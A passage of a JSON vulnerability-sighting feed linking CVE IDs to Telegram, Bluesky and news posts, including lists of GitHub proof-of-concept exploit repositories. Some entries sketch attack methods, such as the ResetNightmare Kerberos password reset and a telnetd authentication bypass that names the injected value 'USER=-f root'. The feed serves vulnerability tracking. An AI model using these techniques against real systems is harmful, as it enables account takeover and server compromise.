and SAP Business Warehouse\u00a0(CVE-2026-27681, CVSS score: 9.9) that could result in the execution of arbitrary database\nhttps://thehackernews.com/2026/04/april-patch-tuesday-fixes-critical.html", "creation_timestamp": "2026-08-19T00:00:08.792611Z"}, {"uuid": "beb7a6e9-2ca3-4372-8e45-57347e17a0cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "96c16751-1b73-43f8-8ab4-831c0a20223d", "vulnerability": "CVE-2026-27912", "type": "published-proof-of-concept", "source": "https://github.com/Semperis-Community/ResetNightmare", "content": "", "creation_timestamp": "2026-08-06T14:50:50.281624Z"}, {"uuid": "1ae682d5-32bb-47e5-a80d-af4155eb1275", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://t.me/wh_lab/754", "content": "ResetNightmare\n\nResetNightmare (CVE-2026-27912) is a validation flaw in the Kerberos Change Password protocol that allows for resetting the password of any target user/computer account, without knowing the current one. The attack requires an unpatched domain controller, and the ability to write a userPrincipalName (UPN) on any account you control. Alternatively, the vulnerability can also be abused by an attacker having the ability to create new users/computers in any OU, as creating a user/computer allows you to get GenericWrite permissions over it.\n\nBlog: Identity Crisis: Novel Vulnerabilities Leading to Kerberos Downgrade, DoS, and Full Domain Takeover", "creation_timestamp": "2026-08-15T08:00:03.813620Z"}, {"uuid": "55f3cb24-3803-4db9-b7e5-149a6844a136", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "Telegram/K7zXqOYFd1qXyT9LARXPzqWKeQzalprou3AuwisAGlu--nM", "content": "", "creation_timestamp": "2026-08-15T08:00:04.444562Z"}, {"uuid": "0b103676-caba-4769-a36a-76265a920bdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27544", "type": "seen", "source": "Telegram/hhF5X9l-443ICg7ZpS9-uwcd7Zf9SpAraBV0rI1xxNpeeM0", "content": "", "creation_timestamp": "2026-08-15T08:00:05.543778Z"}, {"uuid": "e7624ff8-cc4e-4358-9fc7-2814f8285761", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27435", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpldyxfiem2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27435 \u0432 WofficeIO: \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0441\u0430\u0439\u0442 \u043e\u0442 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430\n\n\n\nhttps://kripta.biz/posts/84B5A581-D3D7-4121-9096-9839B69D74FC", "creation_timestamp": "2026-07-01T10:52:45.976264Z"}, {"uuid": "c032ece6-4982-4feb-bc37-86301acc3197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27435", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplgjmmcz222", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27435 \u0432 WofficeIO: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/ECC228C8-F5E6-4E59-AAE5-6E8CB1CA0307", "creation_timestamp": "2026-07-01T11:37:52.510718Z"}, {"uuid": "5af18a49-1bc3-4bd7-957d-f3e4ce3e3dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27435", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplltbmmvw2h", "content": "CVE-2026-27435 - WordPress Woffice theme\nCVE ID : CVE-2026-27435\n \n Published : July 1, 2026, 8:50 a.m. | 2\u00a0hours, 56\u00a0minutes ago\n \n Description : Missing Authorization vulnerability in WofficeIO Woffice allows Exploiting Incorrectly Configured Access Control Security Levels.\n...", "creation_timestamp": "2026-07-01T13:12:45.513293Z"}, {"uuid": "791c40ae-1bfc-42d8-9f90-b445cd3aaf9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27344", "type": "seen", "source": "Telegram/z0gzrCa3CJrXCwNopDj7QRmjKir0wDRnRghi1tuDuWgHZEI", "content": "", "creation_timestamp": "2026-08-15T08:00:07.971404Z"}, {"uuid": "fe2dbcfd-a07d-4bc7-88aa-b2fd010d8c33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27145", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mplsrdlzre2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27145 \u0432 Go: \u043a\u0430\u043a \u043e\u043d\u0430 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0438 \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c\n\n\n\nhttps://kripta.biz/posts/D3602B09-2D32-4E86-8AB0-C50C74552BBB", "creation_timestamp": "2026-07-01T15:16:56.495287Z"}, {"uuid": "28e916c3-06b0-41d0-a9e6-20e03d90f203", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27577", "type": "seen", "source": "https://t.me/pphm_HackerNews/2322", "content": "\ud83d\udd34 n8n Sandbox Escape Lets Workflow Editors Run OS Commands as the n8n Process\n\nn8n has patched a high-severity expression-sandbox escape that could let an authenticated workflow editor execute operating-system commands on the server running the automation platform. Security Joes found the flaw while probing n8n's February fix for CVE-2026-27577 for another bypass.\n\nThe affected ranges are <2.31.5 and >=2.32.0,<2.32.1. n8n fixed the flaw in versions 2.31.5 and 2.32.1. It tracks the issue as GHSA-gv7g-jm28-cr3m, rates it High with a CVSS 4.0 score of 8.7, and no CVE had been assigned as of July 27, 2026.", "creation_timestamp": "2026-08-22T00:00:11.504016Z"}, {"uuid": "a2633fe9-d425-4b04-bd6d-38087babc55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27435", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmjylklpn2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27435 \u0432 WofficeIO: \u043a\u0430\u043a \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438\n\n\n\nhttps://kripta.biz/posts/646E5A3E-1B73-4529-8D19-47F0A295E90C", "creation_timestamp": "2026-07-01T22:12:36.007914Z"}, {"uuid": "32c29f30-fecc-440c-8fe7-50a223974455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27912", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3msqwsavgc22z", "content": "Exploit ResetNightmare with NetExec \n\nCVE-2026-27912: a logical flaw in the Kerberos Change Password protocol lets an attacker with Generic Write on one account reset the password of ANY user/computer, includin\u2026\n\n\ud83d\udd01 RT @azoxlpf | reposted by @cyb3rops\nhttps://x.com/azoxlpf/status/2086829938867376478", "creation_timestamp": "2026-08-10T20:27:56.114377Z"}, {"uuid": "50770c21-30b0-4212-aca8-36950dd70bc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27871", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-218-02", "content": "", "creation_timestamp": "2026-08-06T16:15:03.804284Z"}, {"uuid": "9f861801-d58e-49d2-b12c-f23a760a9506", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27456", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtlvgb5xow2o", "content": "\ud83d\udd17 CVE : CVE-2026-13595, CVE-2026-27456, CVE-2026-53612, CVE-2026-53613, CVE-2026-53614", "creation_timestamp": "2026-08-21T13:45:12.712065Z"}, {"uuid": "038029e6-01ae-4251-ad6f-bafc6d87abf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30084", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent CVE vulnerabilities with publicly available PoC repositories useful for vulnerability research and security analysis.\n\n1\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Backup & Migration \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/LucasM0ntes/POC-CVE-2026-1357\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows attackers to upload arbitrary files and achieve remote code execution without authentication.\nThe vulnerability chains two issues:\n\u2022 Crypto fail-open behavior\n\u2022 Path traversal vulnerability\nAttackers can upload a PHP web shell and execute arbitrary commands on the server.\n\n\u2699\ufe0f Impact\n\u2022 Remote Code Execution\n\u2022 Server compromise\n\u2022 Full WordPress takeover\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server \u2013 Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA vulnerability in rldns DNS server version 1.3 allows attackers to trigger a heap-based out-of-bounds read, leading to a denial-of-service condition.\nThis occurs during DNS request handling and can crash the server.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands via a WebSocket-reachable script.\nThe issue stems from unsafe Bash arithmetic evaluation inside the application logic.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Privileged access compromise\n\u2022 Enterprise remote-access platform risk\n\n4\ufe0f\u20e3 CVE-2026-25049\n\ud83c\udfaf n8n Workflow Automation \u2013 Git Node RCE\n\n\ud83d\udd17 Technical Write-up\nhttps://gist.github.com/alon710/f3522fe1631994e1a76ab218a2b4d685\n\n\ud83e\udde0 Overview\nA remote code execution vulnerability exists in the n8n Git node where malicious Git configuration values can trigger command execution.\nThe vulnerability occurs because untrusted data is interpreted as executable commands.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Workflow automation compromise\n\u2022 CVSS 9.4\n\n5\ufe0f\u20e3 CVE-2026-0590\n\ud83c\udfaf Online Product Reservation System \u2013 SQL Injection\n\n\ud83d\udd17 PoC Reference\nhttps://github.com/foeCat/CVE/blob/main/OnlineProductReservation_PHP/sqli_checkout_delete.php.md\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability exists in Online Product Reservation System 1.0 in the delete.php endpoint.\nManipulation of the POST parameter ID allows attackers to execute arbitrary SQL queries remotely.\n\n\u2699\ufe0f Impact\n\u2022 Database access\n\u2022 Data leakage\n\u2022 Potential system compromise\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:07.281186Z"}, {"uuid": "ba9a6239-03a3-40b0-902b-b3fe8c0fd1ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30370", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:04.889038Z"}, {"uuid": "b63e101c-8654-4550-a25f-713f88162966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30149", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.869614Z"}, {"uuid": "e765d791-a58d-40d0-9b2a-13f2876df1d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30117", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA critical HTTP request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to bypass authentication, steal session tokens, and perform SSRF attacks.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 Remote code execution scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nAn RCE vulnerability in Next.js Server Actions caused by insecure deserialization and prototype pollution through the proto property in the RSC Flight protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoC repositories are useful for:\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch diff analysis\n\u2022 Red team / blue team training\n\u2022 Security tool testing\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive analysis only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.918606Z"}, {"uuid": "3f893bf7-4eb3-414a-a859-97625e6b9f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27436", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mpoyqwklut2d", "content": "CVE-2026-27436 - five star business profile and schema\nThe Five Star Business Profile and Schema plugin for WordPress has a security issue. If left unpatched, it could allow an attacker to run malicious code on\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#rustaurius #CVE #infosec", "creation_timestamp": "2026-07-02T21:42:04.299859Z"}, {"uuid": "0175872f-3da5-41cf-bd10-89790ece4645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27137", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpp7lopjqr27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27137: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6214FAE1-096D-4A4D-A8C2-96CD04143AF7", "creation_timestamp": "2026-07-02T23:44:24.505663Z"}, {"uuid": "acc00b60-6a83-4dd7-a769-81086eef0619", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27727", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpp7nfrogc2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27727 \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 mchange-commons-java: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/0E899637-8E38-44FF-BF52-3AE939F799E1", "creation_timestamp": "2026-07-02T23:45:22.418694Z"}, {"uuid": "9416bd9c-5e69-4b09-8d64-3f322e1af8c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27145", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpparwbsbm2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-27145 \u0432 Go: \u0447\u0442\u043e \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0438 \u043a\u0430\u043a \u043e\u043d\u0430 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n\n\nhttps://kripta.biz/posts/059740A0-097D-46B9-9F7E-B89CFF31B142", "creation_timestamp": "2026-07-03T00:05:47.886852Z"}, {"uuid": "2fdf584b-b72f-4489-8a36-6dabda16db53", 